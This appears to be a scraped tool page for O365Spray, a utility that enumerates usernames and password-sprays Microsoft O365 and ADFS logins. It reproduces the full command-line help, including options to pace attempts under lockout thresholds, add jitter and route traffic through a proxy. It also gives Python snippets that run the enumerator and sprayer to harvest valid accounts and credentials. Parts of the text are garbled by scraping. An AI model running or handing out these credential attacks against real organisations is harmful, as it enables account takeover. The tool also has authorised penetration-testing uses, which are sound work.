O365Spray – Username Enumeration And Password Spraying Tool Aimed At Microsoft O365

credentials in username:password format. -c COUNT, –count COUNT Number of password attempts to run per user before resetting the lockout account timer. Default: 1 -l LOCKOUT, –lockout LOCKOUT Lockout policy’s reset time (in minutes). Default: 15 minutes –enum-module {office,onedrive,oauth2} Specify which enumeration module to run. Default: office –spray-module {oauth2,activesync,autodiscover,reporting,adfs} Specify which password spraying module to run. Default: oauth2 –adfs-url ADFS_URL AuthURL of the target domain’s ADFS login page for password spraying. –sleep [-1, 0-120] Throttle HTTP requests every `N` seconds. This can be randomized by passing the value `-1` (between 1 sec and 2 mins). Default: 0 –jitter [0-100] Jitter extends –sleep period by percentage given (0-100). Default: 0 –rate RATE Number of concurrent connections (attempts) during enumeration and spraying. Default: 10 –safe SAFE Terminate password spraying run if `N` locked accounts are observed. Default: 10 –timeout TIMEOUT HTTP request timeout in seconds. Default: 25 –proxy PROXY HTTP/S proxy to pass traffic through (e.g. http://127.0.0.1:8080). –output OUTPUT Output directory for results and test case files. Default: current directory -v, –version Print the tool version. –debug Enable debug output. “>

usage: o365spray [-h] [-d DOMAIN] [--validate] [--enum] [--spray]
                 [-u USERNAME] [-p PASSWORD] [-U USERFILE] [-P PASSFILE]
                 [--paired PAIRED] [-c COUNT] [-l LOCKOUT]
                 [--enum-module {office,onedrive,oauth2}]
                 [--spray-module {oauth2,activesync,autodiscover,reporting,adfs}]
                 [--adfs-url ADFS_URL] [--rate RATE] [--safe SAFE]
                 [--timeout TIMEOUT] [--proxy PROXY] [--output OUTPUT]
                 [-v] [--debug]

o365spray | Microsoft O365 User Enumerator and Password Sprayer -- v2.0.4

optional arguments:

  -h, --help            show this help message and exit

  -d DOMAIN, --domain DOMAIN
                        Target domain for validation, user enumeration, and/or
                        password spraying.

  --validate            Run domain validation only.

  --enum                Run use   rname enumeration.

  --spray               Run password spraying.

  -u USERNAME, --username USERNAME
                        Username(s) delimited using commas.

  -p PASSWORD, --password PASSWORD
                        Password(s) delimited using commas.

  -U USERFILE, --userfile USERFILE
                        File containing list of usernames.

  -P PASSFILE, --passfile PASSFILE
                        File containing list of passwords.

  --paired PAIRED       File containing list of credentials in username:password
                        format.

  -c COUNT, --count COUNT
                        Number of password attempts to run per user before resetting
                        the lockout account timer. Default: 1

  -l LOCKOUT, --lockout LOCKOUT
                        Lockout policy's reset time (in minutes). Default: 15 minutes

  --enum-module {office,onedrive,oau   th2}
                        Specify which enumeration module to run.
                        Default: office

  --spray-module {oauth2,activesync,autodiscover,reporting,adfs}
                        Specify which password spraying module to run.
                        Default: oauth2

  --adfs-url ADFS_URL   AuthURL of the target domain's ADFS login page for password
                        spraying.

  --sleep [-1, 0-120]   Throttle HTTP requests every `N` seconds. This can be
                        randomized by passing the value `-1` (between 1 sec and 2
                        mins). Default: 0

  --jitter [0-100]      Jitter extends --sleep period by percentage given (0-100).
                        Default: 0

  --rate RATE           Number of concurrent connections (attempts) during enumeration
                        and spraying. Default: 10

  --safe SAFE           Terminate password spr   aying run if `N` locked accounts are
                        observed. Default: 10

  --timeout TIMEOUT     HTTP request timeout in seconds. Default: 25

  --proxy PROXY         HTTP/S proxy to pass traffic through
                        (e.g. http://127.0.0.1:8080).

  --output OUTPUT       Output directory for results and test case files.
                        Default: current directory

  -v, --version         Print the tool version.

  --debug               Enable debug output.

from o365spray.core import Validator
v = Validator()
valid, adfs_url = v.validate('domain.com')

from o365spray.core import Enumerator
loop = asyncio.get_event_loop()
e = Enumerator(loop, writer=False)
loop.run_until_complete(
    e.run(
        userlist,
        password,
        domain,
        module,
    )
)
loop.run_until_complete()
loop.close()
list_of_valid_users = e.VALID_ACCOUNTS

from o365spray.core import Sprayer
loop = asyncio.get_event_loop()
s = Sprayer(loop, writer=False)
loop.run_until_complete(
    s.run(
        password,
        domain,
        module,
        userlist,
    )
)
loop.run_until_complete()
loop.close()
list_of_valid_creds = s.VALID_CREDENTIALS

git checkout e235abdcebad61dbd2cde80974aca21ddb188704